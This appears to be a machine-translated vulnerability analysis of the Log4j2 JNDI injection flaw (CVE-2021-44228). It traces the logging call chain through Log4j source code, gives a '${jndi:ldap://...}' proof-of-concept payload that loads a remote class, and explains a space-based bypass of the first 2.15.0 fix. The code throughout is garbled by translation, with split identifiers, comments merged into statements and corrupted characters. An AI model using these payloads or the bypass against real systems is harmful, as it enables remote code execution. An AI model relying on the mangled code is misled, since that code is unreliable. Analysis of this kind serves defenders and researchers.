0 x00 to introduce

Log4j2 is a logging framework commonly used for Java development. The vulnerability was reported by Ali Cloud security team with low trigger conditions and great harm

The CVE number is CVE-2021-44228

CVSS Score: 10.0 (Max. 10)

The POC is simple

Public static void main (String [] args) throws the Exception {logger. The error (" ${jndi: ldap: / / 127.0.0.1:1389 / badClassName} "); }Copy the code

While POC is simple, setting up an LDAP environment is a bit more complicated. Marshalsec requires compiling the class itself and setting up the HTTP server

Java-jar ldapkit. jar [command]

The screenshot below

1, 200 copies of many out-of-print e-books have not been bought 2, 30G security factory inside the video materials 3, 100 copies of SRC documents 4, common security comprehensive questions 5, CTF contest classic topic analysis 6, the full kit 7, emergency response notes 8, network security learning route

0 x01 RCE analysis

So first of all, how does RCE work, let’s do a long, smelly process analysis, okay

What happened between Logger. error and jndilookup.lookup

From the logger. The error () layer upon layer with to AbstractLogger. TryLogMessage. Log method

private void tryLogMessage(final String fqcn, final StackTraceElement location, final Level level, final Marker marker, final Message message, final Throwable throwable) { try { log(level, marker, fqcn, location, message, throwable); } catch (final Exception e) { handleLogMessageException(e, fqcn, message); }}Copy the code

Without dynamic debugging with log method to AbstractLogger. The log method, actually this is org. Apache. Logging, log4j. Core. Loggger. Log method

@Override protected void log(final Level level, final Marker marker, final String fqcn, final StackTraceElement location, final Message message, final Throwable throwable) { final ReliabilityStrategy strategy = privateConfig.loggerConfig.getReliabilityStrategy(); If (strategy instanceof LocationAwareReliabilityStrategy) {/ / trigger point ((LocationAwareReliabilityStrategy) strategy).log(this, getName(), fqcn, location, marker, level, message, throwable); } else { strategy.log(this, getName(), fqcn, marker, level, message, throwable); }}Copy the code

Here with the methods of log to org/apache/logging/log4j/core/config/DefaultReliabilityStrategy log

@Override
public void log(final Supplier<LoggerConfig> reconfigured, final String loggerName, final String fqcn,
                final StackTraceElement location, final Marker marker, final Level level, final Message data,
                final Throwable t) {
    loggerConfig.log(loggerName, fqcn, location, marker, level, data, t);
}
Copy the code

The loggerconfig. log method is displayed

@PerformanceSensitive("allocation") public void log(final String loggerName, final String fqcn, final StackTraceElement location, final Marker marker, final Level level, final Message data, Final Throwable t) {// No need to worry about code... Try {/ / with the log (logEvent LoggerConfigPredicate. ALL); } finally { ReusableLogEventFactory.release(logEvent); }}Copy the code

Go to another LoggerConfig override log method

protected void log(final LogEvent event, final LoggerConfigPredicate predicate) { if (! IsFiltered (event)) {// Follow processLogEvent(event, predicate); }}Copy the code
private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) { event.setIncludeLocation(isIncludeLocation()); If (predicate. Allow (this)) {// callAppenders(event); } logParent(event, predicate); }Copy the code

You can see the callAppender method that calls appender.control

@PerformanceSensitive("allocation") protected void callAppenders(final LogEvent event) { final AppenderControl[] controls = appenders.get(); //noinspection ForLoopReplaceableByForEach for (int i = 0; i < controls.length; i++) { controls[i].callAppender(event); }}Copy the code

Layer upon layer with into AppenderControl tryCallAppender method

private void callAppender0(final LogEvent event) { ensureAppenderStarted(); if (! IsFilteredByAppender (event)) {// Follow tryCallAppender(event); }}Copy the code
Private void tryCallAppender(final LogEvent event) {try {// Appender.append (event); } catch (final RuntimeException error) { handleAppenderError(event, error); } catch (final Exception error) { handleAppenderError(event, new AppenderLoggingException(error)); }}Copy the code

Enter AbstractOutputStreamAppender append method, into the directEncodeEvent method

protected void directEncodeEvent(final LogEvent event) { getLayout().encode(event, manager); if (this.immediateFlush || event.isEndOfBatch()) { manager.flush(); }}Copy the code

Pay attention to the encode method followed by the patternLayout. encode method

@Override public void encode(final LogEvent event, final ByteBufferDestination destination) { if (! (eventSerializer instanceof Serializer2)) { super.encode(event, destination); return; } final StringBuilder text = toText((Serializer2) eventSerializer, event, getStringBuilder()); final Encoder<StringBuilder> encoder = getStringBuilderEncoder(); encoder.encode(text, destination); trimToMaxSize(text); }Copy the code

Never mind the extra code, here the trigger is in the toText method

private StringBuilder toText(final Serializer2 serializer, final LogEvent event,
                             final StringBuilder destination) {
    return serializer.toSerializable(event, destination);
}
Copy the code
@Override public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) { final int len = formatters.length; for (int i = 0; i < len; I ++) {formatters[I]. Format (event, buffer); } if (replace ! = null) { String str = buffer.toString(); str = replace.format(str); buffer.setLength(0); buffer.append(str); } return buffer; }Copy the code

The Formatters method here contains multiple Formatter objects, of which the eighth is the source of the leak, which contains the MessagePatternConverter

Follow along and see that the Converter related methods are called

public void format(final LogEvent event, final StringBuilder buf) { if (skipFormattingInfo) { converter.format(event, buf); } else { formatWithInfo(event, buf); }}Copy the code

It is not hard to see that each formatter and converter constructs each part of the log, and here the real log information string is constructed

With the MessagePatternConverter format method, see a part of the core

@Override public void format(final LogEvent event, final StringBuilder toAppendTo) { final Message msg = event.getMessage(); if (msg instanceof StringBuilderFormattable) { final boolean doRender = textRenderer ! = null; final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo; final int offset = workingBuilder.length(); if (msg instanceof MultiFormatStringBuilderFormattable) { ((MultiFormatStringBuilderFormattable) msg).formatTo(formats, workingBuilder); } else { ((StringBuilderFormattable) msg).formatTo(workingBuilder); } if (config ! = null && ! noLookups) { for (int i = offset; i < workingBuilder.length() - 1; If (workingBuilder.charat (I) == '/pre> && workingBuilder.charat (I + 1) == '{') {// The value is: The ${jndi: ldap: / / 127.0.0.1:1389 / badClassName} final String value = workingBuilder. Substring (offset, workingBuilder.length()); workingBuilder.setLength(offset); // Add the replace method workingBuilder.append(config.getstrsubstitutor ().replace(event, value)); } } } if (doRender) { textRenderer.render(workingBuilder, toAppendTo); } return; } if (msg ! = null) { String result; if (msg instanceof MultiformatMessage) { result = ((MultiformatMessage) msg).getFormattedMessage(formats); } else { result = msg.getFormattedMessage(); } if (result ! = null) { toAppendTo.append(config ! = null && result.contains("${") ? config.getStrSubstitutor().replace(event, result) : result); } else { toAppendTo.append("null"); }}}Copy the code

Enter the Strsubstitutor.replace method

public String replace(final LogEvent event, final String source) { if (source == null) { return null; } final StringBuilder buf = new StringBuilder(source); // follow if (! substitute(event, buf, 0, source.length())) { return source; } return buf.toString(); }Copy the code

Following the StrSubstitutor. Subtute method, there is recursion and longer logic

The main function is to recursively process the log input into the corresponding output

private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length, List<String> priorVariables) { ... substitute(event, bufName, 0, bufName.length()); . String varValue = resolveVariable(event, varName, buf, startPos, endPos); . int change = substitute(event, buf, startPos, varLen, priorVariables); }Copy the code

In fact, this is the necessary condition to trigger the vulnerability, and it is common for programmers to write log related code like this

logger.error("error_message:" + info);

Malicious input from a hacker could have entered the info variable and caused this to become

Logger. The error (" error_message: ${jndi: ldap: / / 127.0.0.1:1389 / badClassName} ");

The recursive processing successfully let jndi: ldap: / / 127.0.0.1:1389 / badClassName into resolveVariable method

The key method resolveVariable is confirmed after debugging

protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) { final StrLookup resolver = getVariableResolver(); if (resolver == null) { return null; } // enter return resolver.lookup(event, variableName); }Copy the code

Follow the lookup here you can see a lot of master screenshots of the method

@Override public String lookup(final LogEvent event, String var) { if (var == null) { return null; } final int prefixPos = var.indexOf(PREFIX_SEPARATOR); if (prefixPos >= 0) { final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US); final String name = var.substring(prefixPos + 1); // Key final StrLookup lookup = strlookupmap. get(prefix); if (lookup instanceof ConfigurationAware) { ((ConfigurationAware) lookup).setConfiguration(configuration); } String value = null; if (lookup ! = null) {/ / the name: ldap: / / 127.0.0.1:1389 / badClassName value = event = = null? lookup.lookup(name) : lookup.lookup(event, name); } if (value ! = null) { return value; } var = var.substring(prefixPos + 1); } if (defaultLookup ! = null) { return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var); } return null; }Copy the code

The strLookupMap contains a variety of Lookup objects

Similarly, you can use it this way

logger.error("${java:runtime}"); 00:36:26.312 [main] ERROR main - Java(TM) SE Runtime Environment (build 1.8.0_131-b11) from Oracle CorporationCopy the code

With the JndiLookup. Lookup

@Override public String lookup(final LogEvent event, final String key) { if (key == null) { return null; } final String jndiName = convertJndiName(key); Try (final JndiManager JndiManager = JndiManager. GetDefaultManager ()) {/ / with the lookup return Objects.toString(jndiManager.lookup(jndiName), null); } catch (final NamingException e) { LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, e); return null; }}Copy the code

The final trigger point jndiManager.lookup

@SuppressWarnings("unchecked")
public <T> T lookup(final String name) throws NamingException {
    return (T) this.context.lookup(name);
}
Copy the code

0x03 RC1 Repair Bypassed

Fixed version 2.15.0-RC1

With the process that the PatternLayout. ToSerializable method changed

The formatters property changes so that ${} is not processed

@Override
public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
    for (PatternFormatter formatter : formatters) {
        formatter.format(event, buffer);
    }
    return buffer;
}
Copy the code

Here a formatter contains a MessagePatternConverter

After repair into MessagePatternConverter SimplePatternConverter class

You can see that in this class it becomes a straightforward concatenation of strings, leaving out the ${} case

private static final class SimpleMessagePatternConverter extends MessagePatternConverter { private static final MessagePatternConverter INSTANCE = new SimpleMessagePatternConverter(); @Override public void format(final LogEvent event, final StringBuilder toAppendTo) { Message msg = event.getMessage(); If (MSG instanceof StringBuilderFormattable) {((StringBuilderFormattable) MSG).formatto (toAppendTo); } else if (msg ! = null) { toAppendTo.append(msg.getFormattedMessage()); }}}Copy the code

Notice to the other a subclass LookupMessagePatternConverter

If Converter is set to this class, the ${} processing continues

private static final class LookupMessagePatternConverter extends MessagePatternConverter { private final MessagePatternConverter delegate; private final Configuration config; LookupMessagePatternConverter(final MessagePatternConverter delegate, final Configuration config) { this.delegate = delegate; this.config = config; } @Override public void format(final LogEvent event, final StringBuilder toAppendTo) { int start = toAppendTo.length(); delegate.format(event, toAppendTo); ${} int Substitution = toappendto.indexof ("${", start); If (indexOfSubstitution >= 0) {config.getstrsubstitutor () // enter the process above. indexOfSubstitution, toAppendTo.length() - indexOfSubstitution); }}}Copy the code

Which subclass you want to set depends on the user’s configuration

private static final String LOOKUPS = "lookups"; private static final String NOLOOKUPS = "nolookups"; public static MessagePatternConverter newInstance(final Configuration config, final String[] options) { boolean lookups = loadLookups(options); String[] formats = withoutLookupOptions(options); TextRenderer textRenderer = loadMessageRenderer(formats); / / the default configuration lookup function MessagePatternConverter result formats of = = = null | | formats. The length = = 0? SimpleMessagePatternConverter.INSTANCE : new FormattedMessagePatternConverter(formats); if (lookups && config ! = null) {/ / only user configured will trigger the result = new LookupMessagePatternConverter (result, config); } if (textRenderer ! = null) { result = new RenderingPatternConverter(result, textRenderer); } return result; }Copy the code

So try to open the lookup function to analyze whether there are restrictions

final Configuration config = new DefaultConfigurationBuilder().build(true); / / configuration to open the lookup function final MessagePatternConverter converter = MessagePatternConverter. NewInstance (config, new String[] {"lookups"}); The final Message MSG = new ParameterizedMessage (" ${jndi: ldap: / / 127.0.0.1:1389 / badClassName} "); final LogEvent event = Log4jLogEvent.newBuilder() .setLoggerName("MyLogger") .setLevel(Level.DEBUG) .setMessage(msg).build(); final StringBuilder sb = new StringBuilder(); converter.format(event, sb); System.out.println(sb);Copy the code

Successful open lookups function, called LookupMessagePatternConverter. Fomat method

Recursive processing and other procedures remain unchanged, and finally jndiManager.lookup is modified where the vulnerability is triggered

public synchronized <T> T lookup(final String name) throws NamingException { try { URI uri = new URI(name); if (uri.getScheme() ! = null) {// Allowed protocol whitelist if (! allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) { LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme()); return null; } the if (LDAP. EqualsIgnoreCase (uri) getScheme () | | LDAPS. EqualsIgnoreCase (uri) getScheme ())) {/ / allow the host white list the if (! allowedHosts.contains(uri.getHost())) { LOGGER.warn("Attempt to access ldap server not in allowed list"); return null; } Attributes attributes = this.context.getAttributes(name); if (attributes ! = null) { Map<String, Attribute> attributeMap = new HashMap<>(); NamingEnumeration<? extends Attribute> enumeration = attributes.getAll(); while (enumeration.hasMore()) { Attribute attribute = enumeration.next(); attributeMap.put(attribute.getID(), attribute); } Attribute classNameAttr = attributeMap.get(CLASS_NAME); // If (attributemap. get(SERIALIZED_DATA)! = null) { if (classNameAttr ! = null) {// className whitelist String className = classnameattr.get ().tostring (); if (! allowedClasses.contains(className)) { LOGGER.warn("Deserialization of {} is not allowed", className); return null; } } else { LOGGER.warn("No class name provided for {}", name); return null; } } else if (attributeMap.get(REFERENCE_ADDRESS) ! = null || attributeMap.get(OBJECT_FACTORY) ! Logger. warn("Referenceable class is not allowed for {}", name); return null; } } } } } catch (URISyntaxException ex) { // This is OK. } return (T) this.context.lookup(name); }Copy the code

So in practice, what do these whitelists look like

The default protocols are Java, LDAP, and LDAPS

The default data types are eight basic data types

The default Host whitelist is localhost

Payload is actually blocked at the last OBJECT_FACTORY judgment

Since RCE must load remote objects, the javaFactory property is unavoidable.

It looks perfect, but there’s one detail

public synchronized <T> T lookup(final String name) throws NamingException { try { URI uri = new URI(name); . } catch (URISyntaxException ex) { // This is OK. } return (T) this.context.lookup(name); }Copy the code

If an URISyntaxException occurs, this.context.lookup is directly called

Can you find a way to make the new URI(name); Context.lookup (name); When the normal

After tests found not in the URI URL encoding will quote this wrong, add a space can trigger ${jndi: ldap: / / 127.0.0.1:1389 / badClassName} (no space to do coding cause an exception, but when the lookup will remove this space)

Successful RCE (only after the user enables the LOOKUP function)

0 x04 RC2 repair

RC2’s fix is a direct return, effectively addressing the above bypass

try{
} catch (URISyntaxException ex) {
    LOGGER.warn("Invalid JNDI URI - {}", name);
    return null;
}
return (T) this.context.lookup(name);
Copy the code